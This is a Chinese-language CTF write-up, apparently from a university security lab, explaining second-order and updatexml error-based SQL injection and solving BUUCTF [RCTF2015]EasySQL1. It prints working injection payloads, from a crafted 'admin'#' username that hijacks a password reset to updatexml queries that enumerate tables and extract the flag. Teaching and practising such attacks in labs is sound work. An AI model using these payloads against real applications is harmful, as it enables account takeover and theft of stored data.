SQL二次注入--火炬木实验室
✦
SQL二次注入
✦
<本文投稿来自214243揭子睿>
简单的说,二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。网站对我们输入的一些重要的关键字进行了转义,但是这些我们构造的语句已经写进了数据库,可以在没有被转义的地方使用,可能每一次注入都不构成漏洞,但是如果一起用就可能造成注入。
01
后端代码对语句进行了转义
✦
addslashes,mysql_real_escape_string,mysql_escape_string等函数对特殊字符进行了转义,使特殊字符能够插入数据库中。
02
保存进数据库时没有转义,是原语句
✦
关键语句:
$sql="UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
例:如果闭合方式为单引号,先注册一个账号admin’#,由于’被函数转义,所以admin’#进入数据库.当改账号重设密码时,执行语句:
$sql="UPDATE users SET PASSWORD='$pass' where username='admin'#’ and password='$curr_pass' ";
’admin’被闭合,#注释后面的语句,最终更改的是admin的密码.SQL报错注入数据库在执行SQL语句时,通常会先对SQL进行检测,如果SQL语句存在问题,就会返回错误信息。通过这种机制,我们可以构造恶意的SQL,触发数据库报错,而在报错信息中就存在着我们想要的信息。
updatexml函数
是更新xml文档的函数
语法:updatexml(目标xml文档,xml路径,更新的内容)
第二个参数xml路径是用 /xxx/xxx/xxx/…这种格式,如果写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
updatexml(1,concat(0x3a,(你希望执行的语句),0x3a),1)#
BUUCTF [RCTF2015]EasySQL1
查看题目
显示LOGIN和REGISTER
进入login.php,发现无论输入什么都显示login error
然后进入register.php,随意注册一下
这里发现不能有@,可能存在过滤
登录之后发现可以修改密码,想到二次注入
先测试sql语句中的闭合方式
注册usename:a’ 测试单引号
然后注册,更改密码,没有反应,说明没有触发二次注入漏洞。
重新注册username:a’’
说明该sql语句的闭合方式为”
回到注册页面,用burpsuite跑一下字典,看看过滤了哪些字符
这里可以看到过滤了很多字符,由于空格被过滤,所以采用()来代替空格
采用sql二次注入和sql报错注入来获取数据库库名,表名,列名及列的内容
爆库名
用语句
a"||(updatexml(1,concat(0x3a,(select(database())),0x3a),1))#
作为用户名注册并登录
更改密码,随便填什么
爆出数据库名为web_sqli
相同的方法,爆表名
a"||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x3a),1))#
爆出表名article,flag,users
爆表flag的列名
a"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),0x3a),1))#
爆出表flag的列名为flag
爆列flag中的值
a"||(updatexml(1,concat(0x3a,(select(group_concat(flag))from((flag))),0x3a),1))#
没有查到flag,试一下查表users
a"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),0x3a),1))#
爆出列name,pwd,email,real_flag_1s_her 感觉这里应该是real_flag_1s_here
爆值
a"||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_her))from((users))),0x3a),1))#
Unknown column 'real_flag_1s_her' in 'field list' 果然不成功试一下 real_flag_1s_here
a"||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from((users))),0x3a),1))#
猜测由于回显限制了长度,flag可能在xxx的后面
利用函数regexp和reverse
regexp函数
通过正则匹配的方式来获取指定的字符
^是正则表达式匹配字符串开始位置 '^f'匹配以f起始的字符
a"||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')),0x3a),1))#
结果为flag{639506bb-43b0-4f05-a1a7-42
只有前一部分,利用reverse函数
reverse函数
逆序字符串 如’abcd’->’dcba’
a"||(updatexml(1,concat(0x3a,(select(reverse(group_concat(real_flag_1s_here)))from(users)where(real_flag_1s_here)regexp('^f')),0x3a),1))#
结果为}f135157b3924-7a1a-50f4-0b34-bb
将flag后一部分逆序与前一部分拼接,即可得到flag
责 任 编 辑:李妍昕
稿 件 来 源:火炬木实验室
图 文 编 辑:陶泽铖
初 审: 李妍昕
终 审:钟 平
责 任 发 布:科技与信息安全系执委会政宣部